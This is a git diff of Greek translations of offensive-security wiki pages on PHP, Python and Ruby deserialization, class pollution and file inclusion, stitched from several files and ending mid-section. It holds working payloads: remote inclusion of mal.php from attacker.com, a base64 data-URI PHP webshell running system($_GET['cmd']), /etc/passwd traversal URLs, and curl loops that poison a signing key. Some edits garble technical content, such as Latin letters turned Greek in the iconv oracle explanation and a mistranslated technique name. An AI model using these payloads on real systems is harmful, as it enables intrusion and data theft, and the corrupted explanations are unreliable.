- Για αυτό χρησιμοποιείτε μια deserialization όπου το όνομα της κλάσης θα είναι μέσα στο **`$name`**. **Δεν μπορείτε να χρησιμοποιήσετε "/" ή "."** σε ένα όνομα κλάσης σε ένα serialized αντικείμενο, αλλά ο **κώδικας** **αντικαθιστά** τους **υπογραμμούς** ("\_") **με slashes** ("/"). Έτσι, ένα όνομα κλάσης όπως `tmp_passwd` θα μετατραπεί σε `/tmp/passwd.php` και ο κώδικας θα προσπαθήσει να το φορτώσει.\
|
||||
- Έχετε βρει μια **αποσυσκευασία** και **δεν υπάρχει κανένα gadget** στον τρέχοντα κώδικα της εφαρμογής
|
||||
- Μπορείτε να εκμεταλλευτείτε μια **λειτουργία `spl_autoload_register`** όπως η παρακάτω για να **φορτώσετε οποιοδήποτε τοπικό αρχείο με κατάληξη `.php`**
|
||||
- Για αυτό χρησιμοποιείτε μια αποσυσκευασία όπου το όνομα της κλάσης θα είναι μέσα στο **`$name`**. **Δεν μπορείτε να χρησιμοποιήσετε "/" ή "."** σε ένα όνομα κλάσης σε ένα σειριακό αντικείμενο, αλλά ο **κώδικας** **αντικαθιστά** τους **υπογραμμούς** ("\_") **με κάθετους** ("/"). Έτσι, ένα όνομα κλάσης όπως `tmp_passwd` θα μετατραπεί σε `/tmp/passwd.php` και ο κώδικας θα προσπαθήσει να το φορτώσει.\
|
||||
Ένα **παράδειγμα gadget** θα είναι: **`O:10:"tmp_passwd":0:{}`**
|
||||
```php
|
||||
spl_autoload_register(function ($name) {
|
||||
@ -36,7 +36,7 @@ require __DIR__ . $filename;
|
||||
});
|
||||
```
|
||||
> [!TIP]
|
||||
> Αν έχετε **ανέβασμα αρχείου** και μπορείτε να ανεβάσετε ένα αρχείο με **κατάληξη `.php`**, θα μπορούσατε να **καταχραστείτε αυτή τη λειτουργία απευθείας** και να αποκτήσετε ήδη RCE.
|
||||
> Αν έχετε **ανέβασμα αρχείου** και μπορείτε να ανεβάσετε ένα αρχείο με **`.php` επέκταση**, θα μπορούσατε να **καταχραστείτε αυτή τη λειτουργία απευθείας** και να αποκτήσετε ήδη RCE.
|
||||
|
||||
Στην περίπτωσή μου, δεν είχα τίποτα τέτοιο, αλλά υπήρχε μέσα στο **ίδιο κοντέινερ** μια άλλη σελίδα composer με μια **βιβλιοθήκη ευάλωτη σε gadget `phpggc`**.
|
||||
|
||||
@ -56,9 +56,9 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
|
||||
|
||||
- **Φόρτωση του composer autoload** μιας διαφορετικής webapp στο ίδιο container
|
||||
- **Φόρτωση ενός phpggc gadget** για να εκμεταλλευτεί μια βιβλιοθήκη από την άλλη webapp (η αρχική webapp που ήταν ευάλωτη σε deserialization δεν είχε κανένα gadget στις βιβλιοθήκες της)
|
||||
- Το gadget θα **δημιουργήσει ένα αρχείο με ένα PHP payload** σε /tmp/a.php με κακόβουλες εντολές (ο χρήστης της webapp δεν μπορεί να γράψει σε κανέναν φάκελο καμίας webapp)
|
||||
- Το τελικό μέρος του payload μας θα χρησιμοποιήσει **να φορτώσει το παραγόμενο php αρχείο** που θα εκτελέσει εντολές
|
||||
- Το gadget θα **δημιουργήσει ένα αρχείο με ένα PHP payload** σε /tmp/a.php με κακόβουλες εντολές (ο χρήστης της webapp δεν μπορεί να γράψει σε κανέναν φάκελο οποιασδήποτε webapp)
|
||||
- Το τελικό μέρος του payload μας θα χρησιμοποιήσει **φόρτωση του παραγόμενου php αρχείου** που θα εκτελέσει εντολές
|
||||
|
||||
Χρειαζόταν να **καλέσω αυτή τη deserialization δύο φορές**. Στις δοκιμές μου, την πρώτη φορά το αρχείο `/tmp/a.php` δημιουργήθηκε αλλά δεν φορτώθηκε, και τη δεύτερη φορά φορτώθηκε σωστά.
|
||||
Χρειαζόμουν να **καλέσω αυτή τη deserialization δύο φορές**. Στις δοκιμές μου, την πρώτη φορά το αρχείο `/tmp/a.php` δημιουργήθηκε αλλά δεν φορτώθηκε, και τη δεύτερη φορά φορτώθηκε σωστά.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -22,11 +22,11 @@ print(yaml.dump(range(1,10)))
|
||||
- 10
|
||||
- 1
|
||||
```
|
||||
Ελέγξτε πώς το **tuple** δεν είναι ένας ακατέργαστος τύπος δεδομένων και επομένως έχει **serializied**. Και το ίδιο συνέβη με το **range** (που προέρχεται από τα builtins).
|
||||
Ελέγξτε πώς το **tuple** δεν είναι ένας ακατέργαστος τύπος δεδομένων και επομένως έχει **serializαριστεί**. Και το ίδιο συνέβη με το **range** (που προέρχεται από τα builtins).
|
||||
|
||||
.png>)
|
||||
|
||||
**safe_load()** ή **safe_load_all()** χρησιμοποιεί SafeLoader και **δεν υποστηρίζει την αποσειριοποίηση αντικειμένων κλάσης**. Παράδειγμα αποσειριοποίησης αντικειμένων κλάσης:
|
||||
**safe_load()** ή **safe_load_all()** χρησιμοποιεί SafeLoader και **δεν υποστηρίζει την αποσυμπίεση αντικειμένων κλάσης**. Παράδειγμα αποσυμπίεσης αντικειμένων κλάσης:
|
||||
```python
|
||||
import yaml
|
||||
from yaml import UnsafeLoader, FullLoader, Loader
|
||||
@ -113,7 +113,7 @@ print(yaml.unsafe_load(deserialized_data))
|
||||
```
|
||||
### Εργαλείο για τη δημιουργία Payloads
|
||||
|
||||
Το εργαλείο [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) μπορεί να χρησιμοποιηθεί για τη δημιουργία payloads αποσυμπίεσης python για την κακή χρήση των **Pickle, PyYAML, jsonpickle και ruamel.yaml:**
|
||||
Το εργαλείο [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) μπορεί να χρησιμοποιηθεί για τη δημιουργία payloads αποσυμπίεσης Python για την εκμετάλλευση **Pickle, PyYAML, jsonpickle και ruamel.yaml:**
|
||||
```bash
|
||||
python3 peas.py
|
||||
Enter RCE command :cat /root/flag.txt
|
||||
|
@ -146,7 +146,7 @@ JSONMergerApp.run(json_input)
|
||||
1. **Privilege Escalation**: Η μέθοδος `authorize` ελέγχει αν το `to_s` επιστρέφει "Admin." Με την εισαγωγή ενός νέου χαρακτηριστικού `to_s` μέσω JSON, ένας επιτιθέμενος μπορεί να κάνει τη μέθοδο `to_s` να επιστρέφει "Admin," παρέχοντας μη εξουσιοδοτημένα προνόμια.
|
||||
2. **Remote Code Execution**: Στο `health_check`, το `instance_eval` εκτελεί μεθόδους που αναφέρονται στα `protected_methods`. Αν ένας επιτιθέμενος εισάγει προσαρμοσμένα ονόματα μεθόδων (όπως το `"puts 1"`), το `instance_eval` θα το εκτελέσει, οδηγώντας σε **remote code execution (RCE)**.
|
||||
1. Αυτό είναι δυνατό μόνο επειδή υπάρχει μια **ευάλωτη εντολή `eval`** που εκτελεί την τιμή της συμβολοσειράς αυτού του χαρακτηριστικού.
|
||||
3. **Περιορισμός Επιπτώσεων**: Αυτή η ευπάθεια επηρεάζει μόνο μεμονωμένα παραδείγματα, αφήνοντας άλλα παραδείγματα του `User` και `Admin` ανεπηρέαστα, περιορίζοντας έτσι την έκταση της εκμετάλλευσης.
|
||||
3. **Περιορισμός Επιπτώσεων**: Αυτή η ευπάθεια επηρεάζει μόνο μεμονωμένα παραδείγματα, αφήνοντας άλλα παραδείγματα του `User` και του `Admin` ανεπηρέαστα, περιορίζοντας έτσι την έκταση της εκμετάλλευσης.
|
||||
|
||||
### Πραγματικές Περιπτώσεις <a href="#real-world-cases" id="real-world-cases"></a>
|
||||
|
||||
@ -170,7 +170,7 @@ end
|
||||
|
||||
Η μέθοδος `deep_merge` του Hashie λειτουργεί απευθείας πάνω σε χαρακτηριστικά αντικειμένων αντί για απλές καταχωρήσεις. **Αποτρέπει την αντικατάσταση μεθόδων** με χαρακτηριστικά σε μια συγχώνευση με κάποιες **εξαιρέσεις**: χαρακτηριστικά που τελειώνουν με `_`, `!`, ή `?` μπορούν ακόμα να συγχωνευτούν στο αντικείμενο.
|
||||
|
||||
Μια ειδική περίπτωση είναι το χαρακτηριστικό **`_`** από μόνο του. Απλά το `_` είναι ένα χαρακτηριστικό που συνήθως επιστρέφει ένα αντικείμενο `Mash`. Και επειδή είναι μέρος των **εξαιρέσεων**, είναι δυνατόν να τροποποιηθεί.
|
||||
Μια ειδική περίπτωση είναι το χαρακτηριστικό **`_`** από μόνο του. Απλά το `_` είναι ένα χαρακτηριστικό που συνήθως επιστρέφει ένα `Mash` αντικείμενο. Και επειδή είναι μέρος των **εξαιρέσεων**, είναι δυνατόν να τροποποιηθεί.
|
||||
|
||||
Δείτε το παρακάτω παράδειγμα πώς η παράδοση `{"_": "Admin"}` επιτρέπει την παράκαμψη του `_.to_s == "Admin"`:
|
||||
```ruby
|
||||
@ -398,7 +398,7 @@ curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"ur
|
||||
```bash
|
||||
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||||
```
|
||||
Είναι δυνατόν να γίνει brute-force στις καθορισμένες κλάσεις και σε κάποιο σημείο να δηλητηριαστεί η κλάση **`KeySigner`** τροποποιώντας την τιμή του `signing_key` σε `injected-signing-key`.\
|
||||
Είναι δυνατόν να γίνει brute-force στις καθορισμένες κλάσεις και σε κάποιο σημείο να δηλητηριαστεί η κλάση **`KeySigner`** τροποποιώντας την τιμή του `signing_key` σε `injected-signing-key`.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -7,9 +7,9 @@
|
||||
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερα: Μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
|
||||
|
||||
Η ευπάθεια συμβαίνει όταν ο χρήστης μπορεί να ελέγξει με κάποιο τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
|
||||
Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
|
||||
|
||||
Ευάλωτες **PHP functions**: require, require_once, include, include_once
|
||||
Ευάλωτες **PHP συναρτήσεις**: require, require_once, include, include_once
|
||||
|
||||
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
@ -93,23 +93,23 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
|
||||
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
|
||||
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
|
||||
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
||||
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
||||
|
||||
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:
|
||||
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων κατάλογος είναι σε βάθος 3), χρησιμοποιήστε:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Τεχνική Τραβήγματος Διαδρομής**
|
||||
### **Τεχνική Τραυματισμού Διαδρομής**
|
||||
|
||||
Το τραβήγματος διαδρομής είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί τις διαδρομές αρχείων σε διαδικτυακές εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να δείχνει ακόμα στο επιθυμητό αρχείο.
|
||||
Ο τραυματισμός διαδρομής είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί διαδρομές αρχείων σε διαδικτυακές εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να δείχνει ακόμα στο επιθυμητό αρχείο.
|
||||
|
||||
Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` θεωρούνται όλες ως η ίδια διαδρομή.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` θεωρούνται όλες η ίδια διαδρομή.
|
||||
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
|
||||
- Ομοίως, αν προστεθεί `.php` σε μια διαδρομή αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται.
|
||||
|
||||
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε το τραβήγματος διαδρομής για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμού χρήστη):
|
||||
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε τον τραυματισμό διαδρομής για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμού χρήστη):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -123,9 +123,9 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
|
||||
- **Χρήση Τμημάτων Τελείας και Πρόσθετων Χαρακτήρων**: Οι ακολουθίες διασχίσεων (`../`) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
|
||||
- **Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να πλοηγηθεί στην ριζική καταχώρηση και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
|
||||
- **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να εκπληρώσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
|
||||
- **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να εκπληρώσει τις απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
|
||||
|
||||
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομής, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομής του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
||||
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομών, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομών του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
|
||||
|
||||
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
|
||||
|
||||
@ -139,12 +139,12 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή γιατί **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
|
||||
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή το **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο δεδομένων με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE:
|
||||
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο data με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
@ -269,25 +269,25 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### Χρησιμοποιώντας φίλτρα php ως oracle για να διαβάσετε αυθαίρετα αρχεία
|
||||
|
||||
[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να έχετε την έξοδο που επιστρέφεται από τον διακομιστή. Αυτή η τεχνική βασίζεται σε **boolean exfiltration του αρχείου (χαρακτήρας προς χαρακτήρα) χρησιμοποιώντας φίλτρα php** ως oracle. Αυτό συμβαίνει επειδή τα φίλτρα php μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει μια εξαίρεση από το php.
|
||||
[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να έχετε την έξοδο που επιστρέφεται από τον διακομιστή. Αυτή η τεχνική βασίζεται σε μια **boolean εξαγωγή του αρχείου (χαρακτήρας προς χαρακτήρα) χρησιμοποιώντας φίλτρα php** ως oracle. Αυτό συμβαίνει επειδή τα φίλτρα php μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει μια εξαίρεση από το php.
|
||||
|
||||
Στην αρχική ανάρτηση μπορείτε να βρείτε μια λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια γρήγορη περίληψη:
|
||||
|
||||
- Χρησιμοποιήστε τον κωδικοποιητή **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
|
||||
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**.
|
||||
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
|
||||
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι πλέον εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
|
||||
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `a` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή a->b->c->d->e->f->g το γράμμα δεν είναι πλέον εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
|
||||
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως n, o, p, q, r (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
|
||||
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.
|
||||
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
|
||||
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετασχηματισμούς ώστε να μην είναι πλέον εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
|
||||
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πλέον εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
|
||||
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή είναι δυνατό να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, q, ρ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
|
||||
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, είναι απαραίτητο να τον κωδικοποιήσετε σε base64 και να διαρρεύσετε τα 2 πρώτα γράμματα για να διαρρεύσετε τον αριθμό.
|
||||
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
|
||||
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφεί με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
|
||||
|
||||
Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να διαρρεύσει το περιεχόμενο των ανοιχτών αρχείων:
|
||||
Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να εξάγετε το περιεχόμενο των ανοιχτών αρχείων:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
@ -381,13 +381,13 @@ phar-deserialization.md
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ρεύματα συμπίεσης
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Βρείτε ονόματα διαδρομών που ταιριάζουν με το μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ρεύματα ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ρεύματα ήχου (Όχι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
|
||||
|
||||
## LFI μέσω της 'assert' της PHP
|
||||
|
||||
Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
|
||||
|
||||
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
|
||||
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
@ -404,15 +404,15 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
